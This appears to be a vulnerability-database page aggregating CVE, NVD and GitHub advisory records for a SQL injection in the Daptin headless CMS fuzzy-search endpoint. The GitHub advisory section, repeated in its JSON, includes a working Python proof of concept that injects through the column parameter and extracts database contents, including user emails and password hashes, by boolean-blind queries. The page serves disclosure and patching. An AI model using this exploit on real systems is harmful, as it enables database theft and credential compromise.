Vulnerability-Lookup

CVE-2026-44349 (GCVE-0-2026-44349)

Vulnerability from cvelistv5 – Published: 2026-05-07 13:57 – Updated: 2026-05-08 14:22

Title

Daptin fuzzy search injects unvalidated column name into raw SQL

Summary

Daptin is a GraphQL/JSON-API headless CMS. Prior to version 0.11.5, processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/<entity> with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user — including one who self-registered with no admin involvement — can read the entire database. This issue has been patched in version 0.11.5.

Severity

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-08 14:22 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/daptin/daptin/security/advisor…	x_refsource_CONFIRM
https://github.com/daptin/daptin/releases/tag/v0.11.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
daptin	daptin	Affected: < 0.11.5	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-44349

Vulnerability from fkie_nvd - Published: 2026-05-07 15:16 - Updated: 2026-06-17 10:50

Severity

7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/daptin/daptin/releases/tag/v0.11.5
	security-advisories@github.com	https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "daptin",
          "vendor": "daptin",
          "versions": [
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    {
      "lang": "en",
      "value": "Daptin is a GraphQL/JSON-API headless CMS. Prior to version 0.11.5, processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf(\"LOWER(%s) LIKE ?\", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/\u003centity\u003e with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user \u2014 including one who self-registered with no admin involvement \u2014 can read the entire database. This issue has been patched in version 0.11.5."
    }
  ],
  "id": "CVE-2026-44349",
  "lastModified": "2026-06-17T10:50:32.553",
  "metrics": {
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      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
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          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
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          "modifiedAttackComplexity": "NOT_DEFINED",
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          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
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}

GHSA-PWQG-Q8PG-PP6R

Vulnerability from github – Published: 2026-05-06 22:10 – Updated: 2026-05-08 21:47

Summary

Daptin fuzzy search injects unvalidated column name into raw SQL

Details

Summary

processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/<entity> with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user — including one who self-registered with no admin involvement — can read the entire database.

Details

At resource_findallpaginated.go:1761, when the operator is fuzzy, fuzzy_any, or fuzzy_all, execution routes to processFuzzySearch (line 1763) before processQueryFilter (line 1780). processQueryFilter is the only path that calls GetColumnByName (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.

Inside processFuzzySearch (line 1484), filterQuery.ColumnName is split by comma. After strings.TrimSpace (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the fuzzy_options.fallback_mode field.

SQLite (processFuzzySearchSQLite, lines 1632–1676) uses goqu.L in all code paths — no fallback_mode required: - goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...) — line 1650/1657

PostgreSQL, MySQL, MSSQL default to goqu.Ex (identifier-quoted, not injectable). The goqu.L sink is only reached when the attacker supplies a specific fuzzy_options.fallback_mode value in the HTTP query JSON:

PostgreSQL word_boundary mode (line 1540): goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...)
MySQL soundex mode (line 1598): goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...)
MSSQL soundex mode (line 1694): goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)

fuzzy_options is deserialized from the HTTP request at line 243 (json.Unmarshal([]byte(query[0]), &queries)) — it is fully attacker-controlled.

goqu.L emits its first argument as a raw SQL literal. The column position uses %s string formatting, not a bound parameter.

prefix is fixed at line 351 as dbResource.model.GetName() + "." — for /api/world this is "world.". Against SQLite, an attacker-supplied column value of reference_id) OR 1=1 OR LOWER(world.reference_id expands in the WHERE clause to LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?. Against PostgreSQL (where reference_id is stored as bytea), the ~* regex operator requires a text-type column; the attack targets a varchar column instead (e.g., table_name) with an adapted injection template.

Relation to GHSA-rw2c-8rfq-gwfv: That patch modified resource_aggregate.go to fix /aggregate/:typename. This vulnerability is in resource_findallpaginated.go on the /api/<entity> fuzzy path — different file, different endpoint, different operator. The existing patch does not cover this path.

Tested: SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL word_boundary injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=guest@cms.go extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.

Fix: Add a GetColumnByName whitelist check in processFuzzySearch (line 1484) before the comma-split, matching the pattern in processQueryFilter:1351. All four DB driver sinks require fixing.

PoC

Environment:

git clone https://github.com/daptin/daptin
cd daptin
git checkout 5d3214244890989eceefa694bfc976ef11458721
go build -o daptin-server .
./daptin-server   # listens on :6336, SQLite backend by default

poc.py (Python 3, no dependencies):

import json, urllib.request, urllib.parse

BASE = "http://localhost:6336"

def post(path, body):
    req = urllib.request.Request(BASE + path, json.dumps(body).encode(),
                                 {"Content-Type": "application/json"})
    try:
        return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
    except urllib.request.HTTPError as e:
        return json.loads(e.read(50_000))

def token():
    post("/action/user_account/signup", {"attributes": {
        "name": "poc", "email": "poc@test.com",
        "password": "adminadmin", "passwordConfirm": "adminadmin"}})
    body = post("/action/user_account/signin", {"attributes": {
        "email": "poc@test.com", "password": "adminadmin"}})
    return next(i["Attributes"]["value"] for i in body
                if i.get("ResponseType") == "client.store.set")

def rows(col, jwt):
    q = urllib.parse.urlencode({"query": json.dumps(
        [{"column": col, "operator": "fuzzy", "value": "zzzzz"}])})
    req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5",
                                 headers={"Authorization": "Bearer " + jwt})
    d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
    return len(d.get("data", []))

def oracle(expr, jwt):
    col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id"
    return rows(col, jwt) > 0

def extract_int(sql, jwt, hi=200):
    lo = 0
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if oracle(f"({sql}) >= {mid}", jwt): lo = mid
        else: hi = mid - 1
    return lo

def extract_str(sql, jwt, maxlen=80):
    n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen)
    s = ""
    for _ in range(n):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            pfx = s.replace("'", "''")
            expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})"
            if oracle(expr, jwt): lo = mid + 1
            else: hi = mid
        s += chr(lo)
    return s

jwt = token()
print("baseline :", rows("reference_id", jwt), "rows")
print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows")

jwt = token()
print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80))
print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt))
pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1", jwt, maxlen=40)
print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace"))

Output (measured on commit 5d32142, SQLite, macOS arm64):

baseline : 0 rows
tautology: 5 rows
sqlite_master table count: 57
email (row 1): guest@cms.go
pw hash prefix: $2a$11$W7vO9oOPzpf7u

Impact

Attacker precondition: One valid JWT. Self-signup is enabled by default on a fresh daptin instance — no admin involvement required.

What is impacted: The full database is readable via boolean-blind extraction, including all tables visible in sqlite_master and credential data (emails, bcrypt password hashes) in user_account. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.11.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/daptin/daptin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:10:11Z",
    "nvd_published_at": "2026-05-07T15:16:10Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`processFuzzySearch` in `server/resource/resource_findallpaginated.go:1484` splits the user-supplied `column` parameter by comma and interpolates each segment directly into `goqu.L(fmt.Sprintf(\"LOWER(%s) LIKE ?\", prefix+col))` raw SQL with no column whitelist check. The entry point is `GET /api/\u003centity\u003e` with `operator=fuzzy` (or `fuzzy_any`, `fuzzy_all`). Any authenticated user \u2014 including one who self-registered with no admin involvement \u2014 can read the entire database.\n\n---\n\n## Details\n\nAt `resource_findallpaginated.go:1761`, when the operator is `fuzzy`, `fuzzy_any`, or `fuzzy_all`, execution routes to `processFuzzySearch` (line 1763) before `processQueryFilter` (line 1780). `processQueryFilter` is the only path that calls `GetColumnByName` (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.\n\nInside `processFuzzySearch` (line 1484), `filterQuery.ColumnName` is split by comma. After `strings.TrimSpace` (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the `fuzzy_options.fallback_mode` field.\n\n**SQLite** (`processFuzzySearchSQLite`, lines 1632\u20131676) uses `goqu.L` in all code paths \u2014 no `fallback_mode` required:\n- `goqu.L(fmt.Sprintf(\"LOWER(%s) LIKE ?\", prefix+col), ...)` \u2014 line 1650/1657\n\n**PostgreSQL, MySQL, MSSQL** default to `goqu.Ex` (identifier-quoted, not injectable). The `goqu.L` sink is only reached when the attacker supplies a specific `fuzzy_options.fallback_mode` value in the HTTP `query` JSON:\n\n- PostgreSQL `word_boundary` mode (line 1540): `goqu.L(fmt.Sprintf(\"%s ~* ?\", prefix+col), ...)`\n- MySQL `soundex` mode (line 1598): `goqu.L(fmt.Sprintf(\"SOUNDEX(%s) = SOUNDEX(?)\", prefix+col), ...)`\n- MSSQL `soundex` mode (line 1694): `goqu.L(fmt.Sprintf(\"DIFFERENCE(%s, ?) \u003e= 3\", prefix+col), ...)`\n\n`fuzzy_options` is deserialized from the HTTP request at line 243 (`json.Unmarshal([]byte(query[0]), \u0026queries)`) \u2014 it is fully attacker-controlled.\n\n`goqu.L` emits its first argument as a raw SQL literal. The column position uses `%s` string formatting, not a bound parameter.\n\n`prefix` is fixed at line 351 as `dbResource.model.GetName() + \".\"` \u2014 for `/api/world` this is `\"world.\"`. Against SQLite, an attacker-supplied column value of `reference_id) OR 1=1 OR LOWER(world.reference_id` expands in the WHERE clause to `LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?`. Against PostgreSQL (where `reference_id` is stored as `bytea`), the `~*` regex operator requires a text-type column; the attack targets a `varchar` column instead (e.g., `table_name`) with an adapted injection template.\n\n**Relation to GHSA-rw2c-8rfq-gwfv**: That patch modified `resource_aggregate.go` to fix `/aggregate/:typename`. This vulnerability is in `resource_findallpaginated.go` on the `/api/\u003centity\u003e` fuzzy path \u2014 different file, different endpoint, different operator. The existing patch does not cover this path.\n\n**Tested:** SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL `word_boundary` injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=`guest@cms.go` extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.\n\n**Fix**: Add a `GetColumnByName` whitelist check in `processFuzzySearch` (line 1484) before the comma-split, matching the pattern in `processQueryFilter:1351`. All four DB driver sinks require fixing.\n\n---\n\n## PoC\n\n**Environment:**\n\n```bash\ngit clone https://github.com/daptin/daptin\ncd daptin\ngit checkout 5d3214244890989eceefa694bfc976ef11458721\ngo build -o daptin-server .\n./daptin-server   # listens on :6336, SQLite backend by default\n```\n\n**poc.py** (Python 3, no dependencies):\n\n```python\nimport json, urllib.request, urllib.parse\n\nBASE = \"http://localhost:6336\"\n\ndef post(path, body):\n    req = urllib.request.Request(BASE + path, json.dumps(body).encode(),\n                                 {\"Content-Type\": \"application/json\"})\n    try:\n        return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))\n    except urllib.request.HTTPError as e:\n        return json.loads(e.read(50_000))\n\ndef token():\n    post(\"/action/user_account/signup\", {\"attributes\": {\n        \"name\": \"poc\", \"email\": \"poc@test.com\",\n        \"password\": \"adminadmin\", \"passwordConfirm\": \"adminadmin\"}})\n    body = post(\"/action/user_account/signin\", {\"attributes\": {\n        \"email\": \"poc@test.com\", \"password\": \"adminadmin\"}})\n    return next(i[\"Attributes\"][\"value\"] for i in body\n                if i.get(\"ResponseType\") == \"client.store.set\")\n\ndef rows(col, jwt):\n    q = urllib.parse.urlencode({\"query\": json.dumps(\n        [{\"column\": col, \"operator\": \"fuzzy\", \"value\": \"zzzzz\"}])})\n    req = urllib.request.Request(f\"{BASE}/api/world?{q}\u0026page%5Bsize%5D=5\",\n                                 headers={\"Authorization\": \"Bearer \" + jwt})\n    d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))\n    return len(d.get(\"data\", []))\n\ndef oracle(expr, jwt):\n    col = f\"reference_id) OR ({expr}) OR LOWER(world.reference_id\"\n    return rows(col, jwt) \u003e 0\n\ndef extract_int(sql, jwt, hi=200):\n    lo = 0\n    while lo \u003c hi:\n        mid = (lo + hi + 1) // 2\n        if oracle(f\"({sql}) \u003e= {mid}\", jwt): lo = mid\n        else: hi = mid - 1\n    return lo\n\ndef extract_str(sql, jwt, maxlen=80):\n    n = extract_int(f\"LENGTH(({sql}))\", jwt, hi=maxlen)\n    s = \"\"\n    for _ in range(n):\n        lo, hi = 32, 126\n        while lo \u003c hi:\n            mid = (lo + hi) // 2\n            pfx = s.replace(\"\u0027\", \"\u0027\u0027\")\n            expr = f\"({sql}) \u003e= \u0027{pfx}\u0027||char({mid+1})\" if s else f\"({sql}) \u003e= char({mid+1})\"\n            if oracle(expr, jwt): lo = mid + 1\n            else: hi = mid\n        s += chr(lo)\n    return s\n\njwt = token()\nprint(\"baseline :\", rows(\"reference_id\", jwt), \"rows\")\nprint(\"tautology:\", rows(\"reference_id) OR 1=1 OR LOWER(world.reference_id\", jwt), \"rows\")\n\njwt = token()\nprint(\"sqlite_master table count:\", extract_int(\"SELECT count(*) FROM sqlite_master WHERE type=\u0027table\u0027\", jwt, hi=80))\nprint(\"email (row 1):\", extract_str(\"SELECT email FROM user_account ORDER BY id LIMIT 1\", jwt))\npw_hex = extract_str(\"SELECT HEX(password) FROM user_account WHERE email=\u0027poc@test.com\u0027 LIMIT 1\", jwt, maxlen=40)\nprint(\"pw hash prefix:\", bytes.fromhex(pw_hex).decode(\"ascii\", errors=\"replace\"))\n```\n\n**Output** (measured on commit `5d32142`, SQLite, macOS arm64):\n\n```\nbaseline : 0 rows\ntautology: 5 rows\nsqlite_master table count: 57\nemail (row 1): guest@cms.go\npw hash prefix: $2a$11$W7vO9oOPzpf7u\n```\n\n---\n\n## Impact\n\n**Attacker precondition**: One valid JWT. Self-signup is enabled by default on a fresh daptin instance \u2014 no admin involvement required.\n\n**What is impacted**: The full database is readable via boolean-blind extraction, including all tables visible in `sqlite_master` and credential data (emails, bcrypt password hashes) in `user_account`. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.",
  "id": "GHSA-pwqg-q8pg-pp6r",
  "modified": "2026-05-08T21:47:40Z",
  "published": "2026-05-06T22:10:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44349"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/daptin/daptin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/daptin/daptin/releases/tag/v0.11.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Daptin fuzzy search injects unvalidated column name into raw SQL"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-44349 (GCVE-0-2026-44349)

FKIE_CVE-2026-44349

GHSA-PWQG-Q8PG-PP6R

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